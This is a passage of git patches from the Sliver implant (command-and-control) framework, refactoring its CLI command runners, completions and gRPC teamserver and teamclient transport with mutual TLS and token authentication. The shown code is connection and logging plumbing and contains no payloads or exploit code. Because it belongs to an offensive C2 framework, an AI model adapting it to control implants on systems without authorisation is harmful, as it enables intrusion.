// command completion/filtering purposes. rootCmd.AddCommand(implantCmd(con)) - // Completions - // Following the same logic as the console command, we only generate - // and setup completions in our root command tree instance. We also - // ensure that we correctly disconnect from the server on each run. - comps := carapace.Gen(rootCmd) - comps.PreRun(func(cmd *cobra.Command, args []string) { - rootCmd.PersistentPreRunE(cmd, args) - }) - comps.PostRun(func(cmd *cobra.Command, args []string) { - rootCmd.PersistentPostRunE(cmd, args) - }) + // Pre/post runners and completions. + command.BindRunners(rootCmd, true, preRunClient(con)) + // command.BindRunners(rootCmd, false, postRunClient(con)) + + carapace.Gen(rootCmd) // Run the sliver client binary. if err := rootCmd.Execute(); err != nil { diff --git a/client/command/server.go b/client/command/server.go index fc391548ad..d73bc46914 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -49,6 +49,7 @@ import ( client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/reeflective/console" + "github.com/rsteube/carapace" "github.com/spf13/cobra" ) @@ -141,3 +142,76 @@ func ServerCommands(con *client.SliverClient, serverCmds console.Commands) conso return serverCommands } + +// BindRunners is used to register specific pre/post-runs for a given command/tree. +// +// This function is special in that it will only bind the pre/post-runners to commands +// in the tree if they have a non-nil Run/RunE function, or if they are leaf commands. +// +// This allows us to optimize client-to-server connections for things like completions. +func BindRunners(root *cobra.Command, pre bool, runs ...func(_ *cobra.Command, _ []string) error) { + for _, cmd := range root.Commands() { + ePreE := cmd.PersistentPreRunE + ePostE := cmd.PersistentPostRunE + run, runE := cmd.Run, cmd.RunE + + // Don't modify commands in charge on their own tree. + if pre && ePreE != nil { + continue + } else if ePostE != nil { + continue + } + + // Always go to find the leaf commands, irrespective + // of what we do with this parent command. + if cmd.HasSubCommands() { + BindRunners(cmd, pre, runs...) + } + + // If the command has no runners, there's nothing to bind: + // If it has flags, any child command requiring them should + // trigger the prerunners, which will connect to the server. + if run == nil && runE == nil { + continue + } + + // Else we have runners, bind the pre-runs if possible. + if pre && cmd.PreRunE != nil { + continue + } else if cmd.PostRunE != nil { + continue + } + + // Compound all runners together. + cRun := func(c *cobra.Command, args []string) error { + for _, run := range runs { + err := run(c, args) + if err != nil { + return err + } + } + + return nil + } + + // Bind + if pre { + cmd.PreRunE = cRun + } else { + cmd.PostRunE = cRun + } + + // Completions use this pre-runner as well. + cmdComps := carapace.Gen(cmd) + + completionRun := func(c *cobra.Command, args []string) { + cRun(c, args) + } + + if pre { + cmdComps.PreRun(completionRun) + } else { + cmdComps.PostRun(completionRun) + } + } +} diff --git a/client/transport/mtls.go b/client/transport/mtls.go index 880e1319c5..f8e67f96c4 100644 --- a/client/transport/mtls.go +++ b/client/transport/mtls.go @@ -27,11 +27,10 @@ import ( "os" "time" - "google.golang.org/grpc" - "google.golang.org/grpc/credentials" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/protobuf/rpcpb" + "google.golang.org/grpc" + "google.golang.org/grpc/credentials" ) const ( @@ -39,7 +38,7 @@ const ( mb = kb * 1024 gb = mb * 1024 - // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb + // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb. ClientMaxReceiveMessageSize = (2 * gb) - 1 // 2Gb - 1 byte defaultTimeout = time.Duration(10 * time.Second) @@ -60,7 +59,7 @@ func (TokenAuth) RequireTransportSecurity() bool { return true } -// MTLSConnect - Connect to the sliver server +// MTLSConnect - Connect to the sliver server. func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) { tlsConfig, err := getTLSConfig(config.CACertificate, config.Certificate, config.PrivateKey) if err != nil { @@ -84,7 +83,6 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie } func getTLSConfig(caCertificate string, certificate string, privateKey string) (*tls.Config, error) { - certPEM, err := tls.X509KeyPair([]byte(certificate), []byte(privateKey)) if err != nil { log.Printf("Cannot parse client certificate: %v", err) diff --git a/server/cli/cli.go b/server/cli/cli.go index eb65445b2c..2c155be58d 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -24,30 +24,35 @@ import ( "log" "os" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/rpc" - teamserver "github.com/reeflective/team/server" - teamGrpc "github.com/reeflective/team/transports/grpc/server" - "google.golang.org/grpc" - + // CLI dependencies "github.com/reeflective/console" - "github.com/reeflective/team/server" - "github.com/reeflective/team/server/commands" "github.com/rsteube/carapace" "github.com/spf13/cobra" + // Teamserver/teamclient dependencies + "github.com/reeflective/team/server" + teamserver "github.com/reeflective/team/server" + "github.com/reeflective/team/server/commands" + teamGrpc "github.com/reeflective/team/transports/grpc/server" + "google.golang.org/grpc" + + // Sliver Client core, and generic/server-only commands "github.com/bishopfox/sliver/client/command" + consoleCmd "github.com/bishopfox/sliver/client/command/console" client "github.com/bishopfox/sliver/client/console" assetsCmds "github.com/bishopfox/sliver/server/command/assets" builderCmds "github.com/bishopfox/sliver/server/command/builder" certsCmds "github.com/bishopfox/sliver/server/command/certs" + "github.com/bishopfox/sliver/server/encoders" - consoleCmd "github.com/bishopfox/sliver/client/command/console" + // Server-only imports + "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/assets" "github.com/bishopfox/sliver/server/c2" "github.com/bishopfox/sliver/server/certs" "github.com/bishopfox/sliver/server/configs" "github.com/bishopfox/sliver/server/cryptography" + "github.com/bishopfox/sliver/server/rpc" ) // Execute the sliver server binary. @@ -57,7 +62,7 @@ func Execute() { // (which is not yet connected). The server is also able to serve remote // clients, although no persistent/network listeners are started by default. // - // This teamclient is used to create a Sliver Client, which functioning + // The server-only teamclient is used to create a Sliver Client, which functioning // is agnostic to its execution mode (one-exec CLI, or closed-loop console). // The client has no commands available yet. teamserver, con := newSliverServer() @@ -73,7 +78,6 @@ func Execute() { // a pre-runner ensuring the server and its teamclient are set up and connected. rootCmd := serverCmds() rootCmd.Use = "sliver-server" // Needed by completion scripts. - rootCmd.PersistentPreRunE = preRunServer(teamserver, con) // Bind additional commands peculiar to the one-exec CLI. // NOTE: Down the road these commands should probably stripped of their @@ -90,17 +94,11 @@ func Execute() { rootCmd.AddCommand(consoleCmd.Command(con, serverCmds, sliverCmds)) // Completion setup: - // Following the same logic as the console command, we only generate and setup - // completions in our root command tree instance. This setup is not needed in - // the command yielder functions themselves, because the closed-loop console - // takes care of its own completion/API interfacing. - comps := carapace.Gen(rootCmd) - comps.PreRun(func(cmd *cobra.Command, args []string) { - rootCmd.PersistentPreRunE(cmd, args) - }) - comps.PostRun(func(cmd *cobra.Command, args []string) { - con.Teamclient.Disconnect() - }) + carapace.Gen(rootCmd) + command.BindRunners(rootCmd, true, preRunServer(teamserver, con)) + // command.BindRunners(rootCmd, false, func(_ *cobra.Command, _ []string) error { + // return con.Teamclient.Disconnect() + // }) // Run the target Sliver command: // Three different examples here, to illustrate. @@ -115,7 +113,7 @@ func Execute() { // start/close/delete client listeners, create/delete users, manage CAs, show status, etc. // // - `sliver teamserver serve` is a teamserver-tree specific command, and the teamserver - // set above in the init() code has been given a single hook to register its RPC backend. + // set above in the code has been given a single hook to register its RPC backend. // The call blocks like your old daemon command, and works _just the same_. if err := rootCmd.Execute(); err != nil { fmt.Println(err) @@ -211,6 +209,7 @@ func preRunServer(teamserver *server.Server, con *client.SliverClient) func(_ *c return func(_ *cobra.Command, _ []string) error { // Ensure the server has what it needs. assets.Setup(false, true) + encoders.Setup() // WARN: I added this here after assets.Setup(), but used to be in init. Is it wrong to put it here ? certs.SetupCAs() certs.SetupWGKeys() cryptography.AgeServerKeyPair() diff --git a/server/cli/version.go b/server/cli/version.go index b9784e35bb..c3af479bf8 100644 --- a/server/cli/version.go +++ b/server/cli/version.go @@ -21,8 +21,9 @@ package cli import ( "fmt" - "github.com/bishopfox/sliver/client/version" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/version" ) var versionCmd = &cobra.Command{ diff --git a/server/console/console.go b/server/console/console.go index 44e4d5f1e8..e8fdeeee5c 100644 --- a/server/console/console.go +++ b/server/console/console.go @@ -60,10 +60,10 @@ func Start() { fmt.Printf(Warn+"Error in HTTP C2 config: %s\n", err) } - con := console.NewConsole(false) + // con := console.NewConsole(false) // console.StartClient(con, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true) - con.App.Start() + // con.App.Start() } // serverOnlyCmds - Server only commands diff --git a/server/encoders/encoders.go b/server/encoders/encoders.go index b3ddd766d8..51ad576fdc 100644 --- a/server/encoders/encoders.go +++ b/server/encoders/encoders.go @@ -51,7 +51,9 @@ var ( Nop = util.NoEncoder{} ) -func init() { +// Setup is an init function to automatically setup default encoders. +// Called in the root sliver server binary command pre-runners. +func Setup() { util.SetEnglishDictionary(assets.English()) TrafficEncoderFS = PassthroughEncoderFS{ rootDir: filepath.Join(assets.GetRootAppDir(), "traffic-encoders"), @@ -90,7 +92,7 @@ func SaveTrafficEncoder(name string, wasmBin []byte) error { return fmt.Errorf("invalid encoder name, must end with .wasm") } wasmFilePath := filepath.Join(assets.GetTrafficEncoderDir(), filepath.Base(name)) - err := os.WriteFile(wasmFilePath, wasmBin, 0600) + err := os.WriteFile(wasmFilePath, wasmBin, 0o600) if err != nil { return err } @@ -127,7 +129,6 @@ func RemoveTrafficEncoder(name string) error { // loadTrafficEncodersFromFS - Loads the wasm traffic encoders from the filesystem, for the // server these will be loaded from: /traffic-encoders/*.wasm func loadTrafficEncodersFromFS(encodersFS util.EncoderFS, logger func(string)) error { - // Reset references pointing to traffic encoders for _, encoder := range TrafficEncoderMap { delete(EncoderMap, encoder.ID) From bb59e1efabeb5e118bf1cff9731dea7ad93519c3 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 22 Jul 2023 23:58:25 +0200 Subject: [PATCH 017/124] Add gRPC teamserver/client backend, no code removed yet. --- client/cli/cli.go | 4 +- client/console/console.go | 4 +- client/transport/client.go | 189 +++++++++++++ client/transport/middleware.go | 99 +++++++ client/transport/mtls.go | 29 +- server/cli/cli.go | 6 +- server/console/console.go | 1 - server/transport/local.go | 64 ----- server/transport/middleware-old.go.old | 296 ++++++++++++++++++++ server/transport/middleware.go | 372 ++++++++++--------------- server/transport/mtls.go | 15 +- server/transport/rpc.go | 73 +++++ server/transport/server.go | 205 ++++++++++++++ server/transport/tailscale.go | 8 +- 14 files changed, 1022 insertions(+), 343 deletions(-) create mode 100644 client/transport/client.go create mode 100644 client/transport/middleware.go delete mode 100644 server/transport/local.go create mode 100644 server/transport/middleware-old.go.old create mode 100644 server/transport/rpc.go create mode 100644 server/transport/server.go diff --git a/client/cli/cli.go b/client/cli/cli.go index cdccc4fdc6..892b335858 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -25,10 +25,10 @@ import ( "github.com/bishopfox/sliver/client/command" consoleCmd "github.com/bishopfox/sliver/client/command/console" client "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/transport" "github.com/reeflective/console" teamclient "github.com/reeflective/team/client" "github.com/reeflective/team/client/commands" - teamGrpc "github.com/reeflective/team/transports/grpc/client" "github.com/rsteube/carapace" "github.com/spf13/cobra" ) @@ -83,7 +83,7 @@ func Execute() { // From this teamclient, configured to work with TLS connections // to remote teamservers, generate a new Sliver Client. func newSliverClient() *client.SliverClient { - gTeamclient := teamGrpc.NewTeamClient() + gTeamclient := transport.NewTeamClient() con, opts := client.NewSliverClient(gTeamclient) diff --git a/client/console/console.go b/client/console/console.go index 19888b5759..aa583a7a3a 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -38,6 +38,7 @@ import ( "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/prelude" "github.com/bishopfox/sliver/client/spin" + "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" @@ -46,7 +47,6 @@ import ( "github.com/reeflective/console" "github.com/reeflective/readline" "github.com/reeflective/team/client" - teamGrpc "github.com/reeflective/team/transports/grpc/client" "github.com/spf13/cobra" "golang.org/x/exp/slog" "google.golang.org/grpc" @@ -110,7 +110,7 @@ type SliverClient struct { } // NewSliverClient is the general-purpose Sliver Client constructor. -func NewSliverClient(teamclient *teamGrpc.Teamclient) (*SliverClient, []client.Options) { +func NewSliverClient(teamclient *transport.Teamclient) (*SliverClient, []client.Options) { // Generate the console client, setting up menus, etc. con := newConsole() diff --git a/client/transport/client.go b/client/transport/client.go new file mode 100644 index 0000000000..06130f59df --- /dev/null +++ b/client/transport/client.go @@ -0,0 +1,189 @@ +package transport + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + "fmt" + "time" + + "github.com/reeflective/team" + "github.com/reeflective/team/client" + "github.com/reeflective/team/transports/grpc/proto" + "google.golang.org/grpc" + "google.golang.org/grpc/status" +) + +const ( + kb = 1024 + mb = kb * 1024 + gb = mb * 1024 + + // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb. + ClientMaxReceiveMessageSize = (2 * gb) - 1 // 2Gb - 1 byte + + defaultTimeout = 10 * time.Second +) + +var ( + // ErrNoRPC indicates that no gRPC generated proto.Teamclient bound to a client + // connection is available. The error is raised when the handler hasn't connected. + ErrNoRPC = errors.New("no working grpc.Teamclient available") + + // ErrNoTLSCredentials is an error raised if the teamclient was asked to setup, or try + // connecting with, TLS credentials. If such an error is raised, make sure your team + // client has correctly fetched -using client.Config()- a remote teamserver config. + ErrNoTLSCredentials = errors.New("the grpc Teamclient has no TLS credentials to use") +) + +// Teamclient is a simple example gRPC teamclient and dialer backend. +// It comes correctly configured with Mutual TLS authentication and +// RPC connection/registration/use when created with NewTeamClient(). +// +// This teamclient embeds a team/client.Client core driver and uses +// it for fetching/setting up the transport credentials, dialers, etc... +// It also has a few internal types (clientConns, options) for working. +// +// Note that this teamclient is not able to be used as an in-memory dialer. +// See the counterpart `team/transports/grpc/server` package for creating one. +// Also note that this example transport has been made for a single use-case, +// and that your program might require more elaborated behavior. +// In this case, please use this simple code as a reference for what/not to do. +type Teamclient struct { + *client.Client + conn *grpc.ClientConn + rpc proto.TeamClient + options []grpc.DialOption +} + +// NewTeamClient creates a new gRPC-based RPC teamclient and dialer backend. +// This client has by default only a few options, like max message buffer size. +// All options passed to this call are stored as is and will be used later. +func NewTeamClient(opts ...grpc.DialOption) *Teamclient { + client := &Teamclient{ + options: opts, + } + + client.options = append(client.options, + grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)), + ) + + return client +} + +// Init implements team/client.Dialer.Init(c). +// This implementation asks the teamclient core for its remote server +// configuration, and uses it to load a set of Mutual TLS dialing options. +func (h *Teamclient) Init(cli *client.Client) error { + h.Client = cli + config := cli.Config() + + options := LogMiddlewareOptions(cli) + + // If the configuration has no credentials, we are most probably + // an in-memory dialer, don't authenticate and encrypt the conn. + if config.PrivateKey != "" { + tlsOpts, err := tlsAuthMiddleware(cli) + if err != nil { + return err + } + + h.options = append(h.options, tlsOpts...) + } + + h.options = append(h.options, options...) + + return nil +} + +// Dial implements team/client.Dialer.Dial(). +// It uses the teamclient remote server configuration as a target of a dial call. +// If the connection is successful, the teamclient registers a proto.Teamclient +// RPC around its client connection, to provide the core teamclient functionality. +func (h *Teamclient) Dial() (rpcClient any, err error) { + ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) + defer cancel() + + host := fmt.Sprintf("%s:%d", h.Config().Host, h.Config().Port) + + h.conn, err = grpc.DialContext(ctx, host, h.options...) + if err != nil { + return nil, err + } + + h.rpc = proto.NewTeamClient(h.conn) + + return h.conn, nil +} + +// Close implements team/client.Dialer.Close(), and closes the gRPC client connection. +func (h *Teamclient) Close() error { + return h.conn.Close() +} + +// Users returns a list of all users registered with the app teamserver. +// If the gRPC teamclient is not connected or does not have an RPC client, +// an ErrNoRPC is returned. +func (h *Teamclient) Users() (users []team.User, err error) { + if h.rpc == nil { + return nil, ErrNoRPC + } + + res, err := h.rpc.GetUsers(context.Background(), &proto.Empty{}) + if err != nil { + return nil, err + } + + for _, user := range res.GetUsers() { + users = append(users, team.User{ + Name: user.Name, + Online: user.Online, + LastSeen: time.Unix(user.LastSeen, 0), + }) + } + + return +} + +// ServerVersion returns the version information of the server to which +// the client is connected, or nil and an error if it could not retrieve it. +// If the gRPC teamclient is not connected or does not have an RPC client, +// an ErrNoRPC is returned. +func (h *Teamclient) Version() (version team.Version, err error) { + if h.rpc == nil { + return version, ErrNoRPC + } + + ver, err := h.rpc.GetVersion(context.Background(), &proto.Empty{}) + if err != nil { + return version, errors.New(status.Convert(err).Message()) + } + + return team.Version{ + Major: ver.Major, + Minor: ver.Minor, + Patch: ver.Patch, + Commit: ver.Commit, + Dirty: ver.Dirty, + CompiledAt: ver.CompiledAt, + OS: ver.OS, + Arch: ver.Arch, + }, nil +} diff --git a/client/transport/middleware.go b/client/transport/middleware.go new file mode 100644 index 0000000000..3cfbcc9883 --- /dev/null +++ b/client/transport/middleware.go @@ -0,0 +1,99 @@ +package transport + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "encoding/json" + + grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" + "github.com/reeflective/team/client" + "github.com/reeflective/team/transports/grpc/common" + "google.golang.org/grpc" + "google.golang.org/grpc/credentials" +) + +// TokenAuth extracts authentication metadata from contexts, +// specifically the "Authorization": "Bearer" key:value pair. +type TokenAuth string + +// LogMiddlewareOptions is an example list of gRPC options with logging middleware set up. +// This function uses the core teamclient loggers to log the gRPC stack/requests events. +// The Teamclient of this package uses them by default. +func LogMiddlewareOptions(cli *client.Client) []grpc.DialOption { + logrusEntry := cli.NamedLogger("transport", "grpc") + logrusOpts := []grpc_logrus.Option{ + grpc_logrus.WithLevels(common.CodeToLevel), + } + + grpc_logrus.ReplaceGrpcLogger(logrusEntry) + + // Intercepting client requests. + requestIntercept := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { + rawRequest, err := json.Marshal(req) + if err != nil { + logrusEntry.Errorf("Failed to serialize: %s", err) + return invoker(ctx, method, req, reply, cc, opts...) + } + + logrusEntry.Debugf("Raw request: %s", string(rawRequest)) + + return invoker(ctx, method, req, reply, cc, opts...) + } + + options := []grpc.DialOption{ + grpc.WithBlock(), + grpc.WithUnaryInterceptor(grpc_logrus.UnaryClientInterceptor(logrusEntry, logrusOpts...)), + grpc.WithUnaryInterceptor(requestIntercept), + } + + return options +} + +func tlsAuthMiddleware(cli *client.Client) ([]grpc.DialOption, error) { + config := cli.Config() + if config.PrivateKey == "" { + return nil, ErrNoTLSCredentials + } + + tlsConfig, err := cli.NewTLSConfigFrom(config.CACertificate, config.Certificate, config.PrivateKey) + if err != nil { + return nil, err + } + + transportCreds := credentials.NewTLS(tlsConfig) + callCreds := credentials.PerRPCCredentials(TokenAuth(config.Token)) + + return []grpc.DialOption{ + grpc.WithTransportCredentials(transportCreds), + grpc.WithPerRPCCredentials(callCreds), + }, nil +} + +// Return value is mapped to request headers. +func (t TokenAuth) GetRequestMetadata(_ context.Context, _ ...string) (map[string]string, error) { + return map[string]string{ + "Authorization": "Bearer " + string(t), + }, nil +} + +// RequireTransportSecurity always return true. +func (TokenAuth) RequireTransportSecurity() bool { + return true +} diff --git a/client/transport/mtls.go b/client/transport/mtls.go index f8e67f96c4..ac5ff56686 100644 --- a/client/transport/mtls.go +++ b/client/transport/mtls.go @@ -25,7 +25,6 @@ import ( "fmt" "log" "os" - "time" "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/protobuf/rpcpb" @@ -33,32 +32,6 @@ import ( "google.golang.org/grpc/credentials" ) -const ( - kb = 1024 - mb = kb * 1024 - gb = mb * 1024 - - // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb. - ClientMaxReceiveMessageSize = (2 * gb) - 1 // 2Gb - 1 byte - - defaultTimeout = time.Duration(10 * time.Second) -) - -type TokenAuth struct { - token string -} - -// Return value is mapped to request headers. -func (t TokenAuth) GetRequestMetadata(ctx context.Context, in ...string) (map[string]string, error) { - return map[string]string{ - "Authorization": "Bearer " + t.token, - }, nil -} - -func (TokenAuth) RequireTransportSecurity() bool { - return true -} - // MTLSConnect - Connect to the sliver server. func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) { tlsConfig, err := getTLSConfig(config.CACertificate, config.Certificate, config.PrivateKey) @@ -66,7 +39,7 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie return nil, nil, err } transportCreds := credentials.NewTLS(tlsConfig) - callCreds := credentials.PerRPCCredentials(TokenAuth{token: config.Token}) + callCreds := credentials.PerRPCCredentials(TokenAuth(config.Token)) options := []grpc.DialOption{ grpc.WithTransportCredentials(transportCreds), grpc.WithPerRPCCredentials(callCreds), diff --git a/server/cli/cli.go b/server/cli/cli.go index 2c155be58d..c2ce0c8996 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -33,7 +33,6 @@ import ( "github.com/reeflective/team/server" teamserver "github.com/reeflective/team/server" "github.com/reeflective/team/server/commands" - teamGrpc "github.com/reeflective/team/transports/grpc/server" "google.golang.org/grpc" // Sliver Client core, and generic/server-only commands @@ -44,6 +43,7 @@ import ( builderCmds "github.com/bishopfox/sliver/server/command/builder" certsCmds "github.com/bishopfox/sliver/server/command/certs" "github.com/bishopfox/sliver/server/encoders" + "github.com/bishopfox/sliver/server/transport" // Server-only imports "github.com/bishopfox/sliver/protobuf/rpcpb" @@ -134,7 +134,7 @@ func newSliverServer() (*teamserver.Server, *client.SliverClient) { // module github.com/reeflective/team: // 1) The listener is pre-set with all gRPC transport,auth and middleware logging. // 2) This listener could be partially/fully reimplemented within the Sliver repo. - gTeamserver := teamGrpc.NewListener() + gTeamserver := transport.NewListener() // NOTE: This might not be needed if 2) above is chosen. // The listener obviously works with gRPC servers, so we need to pass @@ -172,7 +172,7 @@ func newSliverServer() (*teamserver.Server, *client.SliverClient) { // The gRPC teamserver backend is hooked to produce a single // in-memory teamclient RPC/dialer backend. Not encrypted. - gTeamclient := teamGrpc.NewClientFrom(gTeamserver) + gTeamclient := transport.NewClientFrom(gTeamserver) // Pass the gRPC teamclient backend to our console package, // with registers a hook to bind its RPC client and start diff --git a/server/console/console.go b/server/console/console.go index e8fdeeee5c..d3baa07e7a 100644 --- a/server/console/console.go +++ b/server/console/console.go @@ -29,7 +29,6 @@ import ( "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command/help" - "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" clienttransport "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/server/configs" diff --git a/server/transport/local.go b/server/transport/local.go deleted file mode 100644 index 3be3d679a3..0000000000 --- a/server/transport/local.go +++ /dev/null @@ -1,64 +0,0 @@ -package transport - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "runtime/debug" - - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/rpc" - "google.golang.org/grpc" - "google.golang.org/grpc/test/bufconn" -) - -const bufSize = 2 * mb - -var ( - bufConnLog = log.NamedLogger("transport", "local") -) - -// LocalListener - Bind gRPC server to an in-memory listener, which is -// -// typically used for unit testing, but ... it should be fine -func LocalListener() (*grpc.Server, *bufconn.Listener, error) { - bufConnLog.Infof("Binding gRPC/bufconn to listener ...") - ln := bufconn.Listen(bufSize) - options := []grpc.ServerOption{ - grpc.MaxRecvMsgSize(ServerMaxMessageSize), - grpc.MaxSendMsgSize(ServerMaxMessageSize), - } - options = append(options, initMiddleware(false)...) - grpcServer := grpc.NewServer(options...) - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) - go func() { - panicked := true - defer func() { - if panicked { - bufConnLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) - } - }() - if err := grpcServer.Serve(ln); err != nil { - bufConnLog.Fatalf("gRPC local listener error: %v", err) - } else { - panicked = false - } - }() - return grpcServer, ln, nil -} diff --git a/server/transport/middleware-old.go.old b/server/transport/middleware-old.go.old new file mode 100644 index 0000000000..db1d833b46 --- /dev/null +++ b/server/transport/middleware-old.go.old @@ -0,0 +1,296 @@ +package transport + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "sync" + + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/server/configs" + "github.com/bishopfox/sliver/server/core" + "github.com/bishopfox/sliver/server/db" + "github.com/bishopfox/sliver/server/log" + grpc_auth "github.com/grpc-ecosystem/go-grpc-middleware/auth" + grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" + grpc_tags "github.com/grpc-ecosystem/go-grpc-middleware/tags" + "github.com/sirupsen/logrus" + "google.golang.org/grpc" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/credentials" + "google.golang.org/grpc/peer" + "google.golang.org/grpc/status" +) + +var ( + serverConfig = configs.GetServerConfig() + middlewareLog = log.NamedLogger("transport", "middleware") +) + +type contextKey int + +const ( + Transport contextKey = iota + Operator +) + +// initMiddleware - Initialize middleware logger +func initMiddleware(remoteAuth bool) []grpc.ServerOption { + logrusEntry := log.NamedLogger("transport", "grpc") + logrusOpts := []grpc_logrus.Option{ + grpc_logrus.WithLevels(codeToLevel), + } + grpc_logrus.ReplaceGrpcLogger(logrusEntry) + if remoteAuth { + return []grpc.ServerOption{ + grpc.ChainUnaryInterceptor( + grpc_auth.UnaryServerInterceptor(tokenAuthFunc), + auditLogUnaryServerInterceptor(), + grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary), + ), + grpc.ChainStreamInterceptor( + grpc_auth.StreamServerInterceptor(tokenAuthFunc), + grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream), + ), + } + } else { + return []grpc.ServerOption{ + grpc.ChainUnaryInterceptor( + grpc_auth.UnaryServerInterceptor(serverAuthFunc), + auditLogUnaryServerInterceptor(), + grpc_tags.UnaryServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + grpc_logrus.UnaryServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadUnaryServerInterceptor(logrusEntry, deciderUnary), + ), + grpc.ChainStreamInterceptor( + grpc_auth.StreamServerInterceptor(serverAuthFunc), + grpc_tags.StreamServerInterceptor(grpc_tags.WithFieldExtractor(grpc_tags.CodeGenRequestFieldExtractor)), + grpc_logrus.StreamServerInterceptor(logrusEntry, logrusOpts...), + grpc_logrus.PayloadStreamServerInterceptor(logrusEntry, deciderStream), + ), + } + } + +} + +var ( + tokenCache = sync.Map{} +) + +// ClearTokenCache - Clear the auth token cache +func ClearTokenCache() { + tokenCache = sync.Map{} +} + +func serverAuthFunc(ctx context.Context) (context.Context, error) { + newCtx := context.WithValue(ctx, Transport, "local") + newCtx = context.WithValue(newCtx, Operator, "server") + return newCtx, nil +} + +func tokenAuthFunc(ctx context.Context) (context.Context, error) { + mtlsLog.Debugf("Auth interceptor checking operator token ...") + rawToken, err := grpc_auth.AuthFromMD(ctx, "Bearer") + if err != nil { + mtlsLog.Errorf("Authentication failure: %s", err) + return nil, status.Error(codes.Unauthenticated, "Authentication failure") + } + + // Check auth cache + digest := sha256.Sum256([]byte(rawToken)) + token := hex.EncodeToString(digest[:]) + newCtx := context.WithValue(ctx, Transport, 